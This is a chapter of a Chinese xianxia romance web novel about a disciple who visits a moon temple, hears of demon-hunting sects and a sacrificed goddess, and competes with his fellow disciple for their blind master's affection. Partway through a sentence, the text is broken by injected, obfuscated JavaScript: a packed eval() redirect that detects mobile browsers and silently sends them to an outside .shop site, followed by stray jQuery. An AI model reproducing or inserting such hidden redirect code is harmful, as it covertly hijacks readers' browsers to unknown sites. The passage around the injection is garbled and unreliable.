文趣网 > 其他小说 > 眼盲,但养三个魔头 > 4. 月尊
    小院后边斜着下去三百余步,有一座小庙,供奉着一尊神像。

    青色的砖黑色的瓦,一棵大榕树枝冠遮天蔽日,四周的野草没能在村民的锄头下存活,自缓坡向下,踩出一条光滑紧实的小路。

    俞笙从树杈跳下来,把正走出来的小夫妻吓了一跳。

    “诶呦,你你你是,巫仙医的徒弟?”

    “正是。”俞笙抱着手,抬头打量这小庙,“这儿真这么灵?”

    不是歹人,男的拍了拍心口,女的从男的身后出来,说到这个,两人相视一笑。

    “是啊,前些年……我与娘子久久未育一子,就是来这月亮庙上香请愿,今年就得了个大胖姑娘,今日特地来还愿。”

    俞笙就一脸狐疑:“可你这不育之症,不是我师父给治好的吗?”

    和这庙有半个铜板关系。

    男人面露一丝尴尬,也大方承认:“是,我们万分感恩巫仙医,可这庙也有缘分的,上了香,事成了,也要来还愿才对。”

    女人接上:“是啊,再说了,玉河镇受月尊庇佑,是我们的母神,现在镇上无饥馁、无灾害,更无动乱,日子一天天好起来,我们自然要上香祈福。”

    俞笙脸色就更难以言喻了。

    好几年前的玉河镇是什么样子?屋顶漏雨,地里长草,穷得叮当响,还涌入不少水灾的流民,又起了疫病,要不是师父出手,早成乱葬岗了。

    玉河汛期洪水凶猛,坛县一带屡屡受灾,是师父画了水利图献给襄王,建水坝分河流汇湖泊,这才无饥馁无灾害无动乱,当年为这事,他和林枕书爬了不下百座山,占天卜地,累死个人。

    师父是这一片的大恩人,只是不揽功劳,倒是让这小庙沾了光。

    俞笙不欲追究前尘往事,小夫妻下山去了,他走进庙里。

    巫慈没来过这里,所以俞笙也不来这里,林枕书常来这里,所以俞笙曾很讨厌这里。

    但隐隐猜测这儿与师父有关,所以俞笙前来会会。

    月尊?

    凡人练气聚丹成修士,修士修行破境飞升成神。

    修士拼天赋际遇,论宗门道行,还有灵丹宝器,勤奋刻苦。

    而飞升的神仙,它讲点功德。

    九重天,庇佑苍生,平衡三界,神仙得民供奉,就要应民祈愿,年风调雨顺,日小富安康,庙香火绵延,民祈福还愿,神仙才能神力稳增。

    “仙尊仙尊,我给你上香,你听我祈愿。”

    俞笙手里抓着一大把香,甩了甩,白烟袅袅,险些把香鼎扎成筛子,有模有样地跪下来,磕了几个响头。

    “我想要……”

    他扭捏了一会,才一本正经:

    “我许愿待会下山捡到一根红线,正系在手上之时,从天而降一个老头,是月老,他说我和师父天生一对,我兴冲冲回山头告诉师父,却发现陶逸阳带人上山胁迫,而林枕书那贱种毫无还手之力,我智勇双全化解危机,表明心意,师父答应与我结成爱侣,不料林枕书从中阻挠,却被师父看清他的虚伪邪恶,将他赶下山,从此我与师父幸福快乐地生活在一起……”

    俞笙念念有词,忍不住笑出了声,又磕了几个响头。

    下山。

    自从撒谎受了伤,师父就不许他乱跑,也不知道镇上怎么样了,点心大娘有没有从县里捎回新品糕点,带一份给师父。

    今日也是集市,却比俞笙想象的冷清。

    家家户户大门紧闭,连同窗户一起贴着黄符,少数门口支着小摊,行人更是寥寥无几,个个东张西望,买完东西还捂着跑,做贼似的。

    奇怪。

    “邪门李,出来!”俞笙径直去了街尾,一脚踹上木门。

    “诶诶诶,门旧,坏了你赔啊?”里面很快传来埋怨声音,“你师父谦和有礼,你师兄也规规矩矩,就你跟个魔头似的!”

    俞笙对他可没有好脸色,进门就转了拳头。

    “我还没跟你算账呢,三天两头教唆我师父下山有何居心?还想拆散我们师徒,做梦。”

    李老三被他揪住了领子,气势短下去,陪了几声笑。

    “我先前是真心为巫仙医考虑,但现在嘛,她在山上也挺好的,别下来了。”李老三转而唉声叹气,“镇上出事了,还是你们山头清静。”

    俞笙眉头一皱,松开他:“什么事?”

    “镇上来了大人物。”

    李老三压低了声音:“前阵子说三界紊乱,魔物逃窜,现在又说魔物藏于玉河镇,上京的天谕宗,花临的万宝门,还有咱们南陵的云霄宗都派弟子过来了,事情可不小。”

    俞笙眼皮跳了一下,应该,不是找他吧。

    出神一瞬,脑门突然被李老三贴了什么东西,扯下来是张黄符。

    “驱魔的,你拿几张上山,魔物一出现灵符派就知道了。”李老三说着,塞了几张符纸,又在他乱七八糟的桌子上一通翻找。

    “还有这个,你师父托我弄来的。你快回去吧,别乱逛,尤其是别去陶家那边,在山上保护好你师父。”

    俞笙沉默,扫了一圈这屋子,角落堆有动物皮骨,墙上柜子装着药材,桌上散着瓶瓶罐罐,碟子上蠕动的不知是什么东西。他听人说,李老三本来是要结丹修行的。

    “邪门李,你怕他们?”

    “怕?”李老三捋了把头发,笑了两声,又戛然而止,“怕啊,怕死了,凡人对他们来说就是蝼蚁。”

    俞笙挑眉,啧了一声。

    出了李老三家,他转头就向陶家走去。

    在街头,这是镇上最好的房子了,青砖黛瓦漂漂亮亮,一户顶几户,越往这边人影越少,最后一个也无。

    跳上房顶。

    没看到陶逸阳,但是有两个蓝衣修士在庭院小酌,看样式,是云霄宗的。

    “才安稳一个百年,界限又乱了,上一次魔头险些冲破结界,献祭了一位上神,若是再度爆发,不知如何解决。”

    一个老成,摇晃着酒壶,摇头唏嘘,另一个稚嫩,睁着星星眼认真倾听,提出疑问。

    “师兄果真无所不知,是哪位上神献祭啊?”

    小辈刚入宗,对许多传闻都不清楚,好奇得厉害,前辈受了奉承,也乐意分享。

    “御月仙尊。据说她陨落之时,神力已经和九重神尊不相上下了。”

    小辈吃惊:“这般修为都只能献祭吗,若是魔头真的现世作乱,我们可怎么办?”

    “也不知道玉河镇的魔物什么来头,我们有没有把握……”

    前辈就笑,小声传授经验:“天谕宗的谢行雪、李乘歌,天之骄子都在呢,我们不过凑数,真有事,躲他们身后就好。”

    废物。俞笙听得无聊,又跳下屋顶,只是御月仙尊四字在他脑中盘旋许久。

    月尊,御月仙尊。

    这是外院,喝酒的一个筑基中期,一个练气七层,屋里头设着结界,里面人修为不低,估摸着有结丹中期,不便擅闯。

    俞笙又踹开了李老三的木门。

    “邪门李,我有事问你。”

    什么事不能好好说!李老三跳出来,骂着小兔崽子,又查看一番他的木门。

    “御月仙尊是何方神圣?为何陨落?”

    门没事,李老三诧异地看他,又领他进屋:“陨落了好些年的神了,突然问她做什么。”

    “快说!”

    他走这一阵,李老三将桌子收拾了,瓶瓶罐罐和虫子都挂到房梁上,俞笙急性子,直接拿了两个碗,精准找到藏在桌子下的酒倒满,催促。

    李老三想了想,喝了口酒。

    “这事常人都不知内里,你算问对人了。”

    “御月仙尊天赋异禀,是几百年来最年轻的破境者,飞升后更是一路青云,跻身四方神,法力无边,受万民供奉,只可惜一百年前魔王冲破界限,仙魔大战一触即发,料到此战必定血流成河,御月仙尊挺身而出献祭,封印魔种。”

    “那么多神仙,怎么就献祭她一个?”俞笙也想灌一口酒,但回去让师父闻到酒味不好,便作罢。

    李老三叹气:“世道艰辛,人心险恶,神亦是。”

    被害的。俞笙挑眉,脸慢慢沉下去,不知为何心里颇不是滋味。

    “那这般修为的仙尊,出自哪个门派?”

    李老三摇头:“无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585607|205241||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    门派,无家世,一介散修。”

    散修。那连问都没地方问,俞笙一下站起来,心中的猜测时隐时现。

    “御月仙尊拯救苍生,应当广为人知更受爱戴才是,她的庙堂在何处?”

    李老三喝了两碗酒,又摇头又点头:“你家附近不就是。”

    俞笙一愣。

    原来如此。

    李老三又醉又爱喝,已隐约不省人事,俞笙纵使还有疑问,也叫不醒他,只好把他拖到床上,马不停蹄又走。

    他要回去见师父。只是可惜,满街空荡也没有什么好吃的带给师父。

    巫慈此刻正从梦中惊醒。

    画面停在了冰冷利剑刺向心口一幕,世界变得漆黑,她撑着坐了一会,脑中混沌才慢慢消散。

    呼吸还有些急,她抬手,微握的掌心传来灼热之感。

    一丝很弱的,蓝色的灵力若隐若现,顺着脉络走向手腕,巫慈只觉得体内有什么东西在游走碰撞,她很快盘腿捏诀,试图控制。

    金丹粉碎,经脉尽损,时隔多年,她第一回感受到灵力。

    不过只存在一会,又归于平静。她捂着心口,四肢百骸传来强行突破的疼痛。

    ……这一点灵力远远不够。

    “师父醒了?”巫慈缓过来,摸索着下床,就听到林枕书的声音。

    门打开,光线投进屋里,巫慈无知无觉,她问:“嗯,什么时辰了?”

    “申时过半。”

    她竟睡了这么久。

    “师父做噩梦了?”

    巫慈脸色有些苍白,额头汗涔涔的,林枕书取出一方纯白帕子,伸手在她额上轻轻按压。

    “无事。”她接过帕子,又擦了擦脸颊,一句带过。

    林枕书目光却是一瞬不移地定在她身上,闪着些光芒。垂下的手握成拳,裹着转瞬即逝的炙热共鸣。

    “阿笙还没回来吗?”

    “嗯,他总是不安分。”

    俞笙时不时会下山玩,林枕书总是伴着她寸步不离,巫慈倒是希望他也像俞笙那样多出去走走,不必太“安分”。

    巫慈从来不与他们说从前种种,林枕书遂也与往常一般装作不知,说着琐碎小事。

    “新的药材都晒干分类好了,过几日义诊时可直接取。”

    “好。”

    “地又浇了一遍,种子已经发芽,竹子还要再晒一晒才能做篱笆,山洞里还有南瓜,今晚做南瓜粉蒸肉可好?”

    “好。”

    枕书倒是越来越贤惠了,巫慈忍不住弯唇。

    林枕书情不自禁也露出笑,待师父恢复如初,眼睛就可以治好了,那时俞笙原形毕露被憎恨诛杀,山头就只剩他与师父二人——

    “师父,师父!”

    门口窜进来一个人影,一下就挤到巫慈身前蹲下,把小盒子捧在手心,再抓起巫慈的手放上来。

    “邪……李老三让我交给你的,这是什么呀?”

    听到这夹着嗓子的声音,林枕书嘴角压下去,压下心中疯狂的不悦才没有抬脚将人踹飞。

    罢了,站在师父身边的绝对不可能是俞笙这个魔种,不必伤和气惹师父为难。

    直到眼前这一幕。

    “辟瘴珠,山上雾瘴变重,有了这个就不怕了。”巫慈打开盒子,里面是三颗水蓝珠子和一段红绳。

    俞笙眼睛霎时亮起:“是给我的吗?”

    “嗯,不过绳子还没编好。”

    师父要送他礼物,还要亲手给他编绳子!俞笙咧开了嘴笑,脑袋凑上去曾巫慈的膝盖,若是有狗尾巴,早就摇得看不见影了。

    “谢师父,师父对我最好了!”

    林枕书紧盯着几颗珠子和俞笙拉着巫慈衣袖的脏手,牙关咬紧,喉咙滑动,怎么也说不出他也要这种话。

    “师弟若是不乱跑又怎么会遇到雾瘴,这珠子还是留给师父戴。”半晌,他挤出这句,忍无可忍狠狠抓向俞笙的肩膀,拽开。

    “师父饿了,去做饭。”

    俞笙半跪在地上,小红绳缠上手指,嘴角怎么也压不下来。

    月亮庙果真灵验,师父和他就是天生一对!